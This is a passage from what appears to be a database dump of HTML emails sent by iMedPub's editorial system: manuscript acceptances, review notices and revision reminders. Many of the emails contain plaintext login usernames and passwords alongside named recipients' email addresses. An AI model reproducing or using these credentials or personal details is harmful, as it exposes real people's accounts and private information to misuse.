<b>Password:</b> 1GqmD6Ny<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kararda@yahoo.com',3126,'2019-12-30',85),(740,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-19-3126</b><br />\r\n            <br />\r\n            Article Title: <b>Urethrovesical foreign body in adolescents. Two case reports.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kiepura</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-01-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','slawkie@wp.pl',3126,'2020-01-02',85),(741,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-19-3071</b><br />\r\n            <br />\r\n            Article Title: <b>The potential for healthcare savings from recreational fishing a new zealand study</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Dedual Michel </b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>CAN</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-19-3071</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._fatih<br />\r\n            <b>Password:</b> NzMOXR3S<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','fcan@mku.edu.tr',3071,'2020-01-02',645),(747,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-19-3140</b><br />\r\n            <br />\r\n            Article Title: <b>STUDY OF TREATMENT OPTIONS IN STRICTURE URETHRA MANAGEMENT AND SUCCESS RATE IN DIFFERENT TYPES AND SITES OF STRICTURE</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Krishna Rao SV</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wang</b><br />\r\n            <br />\r\n            The review for the manuscript <b>IPJUS-19-3140</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','ivywang@creighton.edu',3140,'2020-01-06',319),(754,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-19-3050</b><br />\r\n            <br />\r\n            Article Title: <b>Effect of Environmental Factors on the Movement of  Rainbow Trout in the Deerfield Reservoir System.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Jeremy Kientz</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>BUCK</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-19-3050</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._bela_h.<br />\r\n            <b>Password:</b> PTDXyt0Q<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','Bela.H.Buck@awi.de',3050,'2020-01-07',645),(770,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-19-2856</b><br />\r\n            <br />\r\n            Article Title: <b>	Prevalence of Community Acquired Methicillin Resistant Staphylococcus aureus nasal carriage among children of consultation: Experience of a Moroccan University Hospital </b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Kawaoka</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipacm-19-2856</b> for the <b>Archives of Clinical Microbiology</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','kawaoka@ims.u-tokyo.ac.jp',2856,'2020-01-13',248),(771,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-19-3074</b><br />\r\n            <br />\r\n            Article Title: <b>Efficacy of Chewing Sticks Extract On The Agent Of Dental  Carries Isolates.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Adeoti Olatunde</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Ahmed</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-19-3074</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> s._attia<br />\r\n            <b>Password:</b> v9VxFZf7<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ahmed.s.attia@gmail.com',3074,'2020-01-13',248),(772,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-19-3140</b><br />\r\n            <br />\r\n            Article Title: <b>STUDY OF TREATMENT OPTIONS IN STRICTURE URETHRA MANAGEMENT AND SUCCESS RATE IN DIFFERENT TYPES AND SITES OF STRICTURE</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>SV</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>IPJUS-19-3140</b> by <b>20-01-2020</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"http://www.jusurgery.com/\">http://www.jusurgery.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>krishna_rao</b><br />\r\n            Password : <b>NysFdOwh</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"http://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','karthikhareen08@gmail.com',3140,'2020-01-14',319),(775,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-19-3140</b><br />\r\n            <br />\r\n            Article Title: <b>STUDY OF TREATMENT OPTIONS IN STRICTURE URETHRA MANAGEMENT AND SUCCESS RATE IN DIFFERENT TYPES AND SITES OF STRICTURE</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <strong>Krishna Rao&nbsp;</strong><b>SV</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>IPJUS-19-3140</b> by<strong>17-0</strong><b>1-2020</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"http://www.jusurgery.com/\">http://www.jusurgery.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>krishna_rao</b><br />\r\n            Password : <b>NysFdOwh</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"http://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','karthikhareen08@gmail.com',3140,'2020-01-14',319),(776,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-19-2667</b><br />\r\n            <br />\r\n            Article Title: <b>Acute appendicitis in pregnancy: 33 cases.</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Alaarabiou</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>IPJUS-19-2667</b> by <b>17-01-2020</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"http://www.jusurgery.com/\">http://www.jusurgery.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>abdellatif</b><br />\r\n            Password : <b>f0S8Ult3</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"http://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','abdellatif1210arabi1986@gmail.com',2667,'2020-01-14',319),(777,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-19-2577</b><br />\r\n            <br />\r\n            Article Title: <b>Introducing Seun Ayoade&rsquo;s Surgical System S.A.S.S</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>AYOADE</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>IPJUS-19-2577</b> by <b>17-01-2020</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"http://www.jusurgery.com/\">http://www.jusurgery.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>seun</b><br />\r\n            Password : <b>NE3efatN</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"http://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','SeunAyoade@protonmail.com',2577,'2020-01-14',319),(779,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-2635</b><br />\r\n            <br />\r\n            Article Title: <b>The intracerebral hemorrhage (ICH) in the state of Qatar</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipjnn-19-2635</b> for the <b>Journal of Neurology and Neuroscience</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','rubidoc@gmail.com',2635,'2020-01-16',75),(780,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-2696</b><br />\r\n            <br />\r\n            Article Title: <b>A case report and literature review of clobazam toxicity related to CBD and Clobazam drug drug interaction</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Kheireldin</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipjnn-19-2696</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"http://www.jneuro.com/\">http://www.jneuro.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>rowida</b><br />\r\n            Password : <b>6tYzBLRz</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','rowida@gmail.com',2696,'2020-01-16',75),(786,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            <span style=\"font-size: medium;\"><span style=\"font-family: &quot;Times New Roman&quot;;\">Ref.:  Ms. No.  <b>ijddr-20-3178</b><br />\r\n            <br />\r\n            Article Title: <b>Potent Suppression of Proliferation of Breast Carcinoma Cells by a Novel Anthranilic Acid Derivative</b><br />\r\n            <br />\r\n            Journal Title: <b>International Journal of Drug Development and Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Patel</b><br />\r\n            </span></span>\r\n            <p style=\"font-family: Tahoma; font-size: 11px;\"><span style=\"font-size: medium;\"><span style=\"font-family: &quot;Times New Roman&quot;;\">Thanks for choosing our journal and we are glad to have eminent scholars like you on our journal websites. Please be in contact and feel free to revert back for any sort of quarries</span></span></p>\r\n            <p style=\"font-family: Tahoma; font-size: 11px;\"><span style=\"font-size: medium;\"><span style=\"font-family: &quot;Times New Roman&quot;;\">Please click on this link to access the submission :&nbsp;</span></span><a href=\"http://www.imedpub.com/editorial-tracking/\" style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;\"><span style=\"font-size: medium;\"><span style=\"font-family: &quot;Times New Roman&quot;;\">http://www.imedpub.com/editorial-tracking/</span></span></a></p>\r\n            <span style=\"font-size: medium;\"><span style=\"font-family: &quot;Times New Roman&quot;;\"><br />\r\n            Username :&nbsp;<b>osman</b><br />\r\n            </span></span>\r\n            <p style=\"font-family: Tahoma; font-size: 11px;\"><span style=\"font-size: medium;\"><span style=\"font-family: &quot;Times New Roman&quot;;\">Password :&nbsp;<b style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;\">t3rMWbvv</b>&nbsp;&nbsp;&nbsp;</span></span></p>\r\n            <p style=\"font-family: Tahoma; font-size: 11px;\"><span style=\"font-size: medium;\"><span style=\"font-family: &quot;Times New Roman&quot;;\">We will be waiting for your positive mail.</span></span></p>\r\n            <p style=\"font-family: Tahoma; font-size: 11px;\"><span style=\"font-size: medium;\"><span style=\"font-family: &quot;Times New Roman&quot;;\">Thanking you for your valuable time and looking forward to your early response.</span></span></p>\r\n            <p style=\"font-family: Tahoma; font-size: 11px;\"><span style=\"font-size: medium;\"><span style=\"font-family: &quot;Times New Roman&quot;;\">Waiting for positive reply</span></span></p>\r\n            <p style=\"font-family: Tahoma; font-size: 11px;\"><span style=\"font-size: medium;\"><span style=\"font-family: &quot;Times New Roman&quot;;\">With Regards</span></span></p>\r\n            <p style=\"font-family: Tahoma; font-size: 11px;\"><span style=\"font-size: medium;\"><span style=\"font-family: &quot;Times New Roman&quot;;\">Josie Angelina<br />\r\n            Journal Manager<br />\r\n            Contact number: +44-7480-022449</span></span></p>\r\n            <b><a href=\"http://www.ijddr.in/\">I<span style=\"font-size: medium;\"><span style=\"font-family: &quot;Times New Roman&quot;;\">nternational Journal of Drug Development and Research</span></span></a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>\r\n<p>&nbsp;</p>',1,'Author Revision First Reminder','patelo@gvsu.edu',3178,'2020-01-17',376),(789,'<p>Ref.:  Ms. No. : <b>IPJUS-19-2667</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Acute appendicitis in pregnancy: 33 cases.</b><br />\r\n<br />\r\nJOURNAL: <b>Journal of Universal Surgery</b><br />\r\n<br />\r\nDear <b>Dr. Alaarabiou</b>,<br />\r\n<br />\r\nThe revision of <b>IPJUS-19-2667</b> was expected by <b>24 January, 2020</b>.<br />\r\n<br />\r\nYou have been sent <b>two</b>&nbsp;reminder notices.  The last one was sent on <b>14 January, 2020</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"http://www.jusurgery.com/\">Journal of Universal Surgery</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>abdellatif</b><br />\r\npassword: <b>f0S8Ult3</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"http://www.jusurgery.com/\">Journal of Universal Surgery</a></b></p>',1,'Author Revision Subsequent Reminder','abdellatif1210arabi1986@gmail.com',2667,'2020-01-20',319),(790,'<p>Ref.:  Ms. No. : <b>IPJUS-19-3140</b><br />\r\n<br />\r\nARTICLE TITLE: <b>STUDY OF TREATMENT OPTIONS IN STRICTURE URETHRA MANAGEMENT AND SUCCESS RATE IN DIFFERENT TYPES AND SITES OF STRICTURE</b><br />\r\n<br />\r\nJOURNAL: <b>Journal of Universal Surgery</b><br />\r\n<br />\r\nDear <b>Dr. SV</b>,<br />\r\n<br />\r\nThe revision of <b>IPJUS-19-3140</b> was expected by <b>24 January, 2020</b>.<br />\r\n<br />\r\nYou have been sent <b>three</b> reminder notices.  The last one was sent on <b>14 January, 2020</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"http://www.jusurgery.com/\">Journal of Universal Surgery</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>krishna_rao</b><br />\r\npassword: <b>NysFdOwh</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"http://www.jusurgery.com/\">Journal of Universal Surgery</a></b></p>',1,'Author Revision Subsequent Reminder','karthikhareen08@gmail.com',3140,'2020-01-20',319),(791,'<p>Ref.:  Ms. No. : <b>IPJUS-19-2577</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Introducing Seun Ayoade&rsquo;s Surgical System S.A.S.S</b><br />\r\n<br />\r\nJOURNAL: <b>Journal of Universal Surgery</b><br />\r\n<br />\r\nDear <b>Dr. AYOADE</b>,<br />\r\n<br />\r\nThe revision of <b>IPJUS-19-2577</b> was expected by <b>24 January, 2020</b>.<br />\r\n<br />\r\nYou have been sent <strong>two</strong> reminder notices.  The last one was sent on <b>14 January, 2020</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"http://www.jusurgery.com/\">Journal of Universal Surgery</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>seun</b><br />\r\npassword: <b>NE3efatN</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"http://www.jusurgery.com/\">Journal of Universal Surgery</a></b></p>',1,'Author Revision Subsequent Reminder','SeunAyoade@protonmail.com',2577,'2020-01-20',319),(795,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-19-3071</b><br />\r\n            <br />\r\n            Article Title: <b>The potential for healthcare savings from recreational fishing a new zealand study</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.fisheriessciences.com/\" target=\"_blank\">Journal of FisheriesSciences.com</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Michel </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of FisheriesSciences.com</b>.<br />\r\n            <br />\r\n            <br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mdedual@doc.govt.nz',3071,'2020-01-21',645),(803,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"\">\r\n            <p style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-20-3178</b><br />\r\n            <br />\r\n            Article Title: <b>Potent Suppression of Proliferation of Breast Carcinoma Cells by a Novel Anthranilic Acid Derivative</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.ijddr.in/\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Patel</b></p>\r\n            <p style=\"\"><font face=\"Verdana, Arial, Helvetica, sans-serif\"><span style=\"font-size: 12px;\">We have sent an email from editor.ijddr@peerreviewedjournals.net and ijddr@peerreviewedjournals.com</span></font></p>\r\n            <p style=\"\"><font face=\"Verdana, Arial, Helvetica, sans-serif\"><span style=\"font-size: 12px;\">kindly check even in spam folders&nbsp;</span></font></p>\r\n            <p style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;\">I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            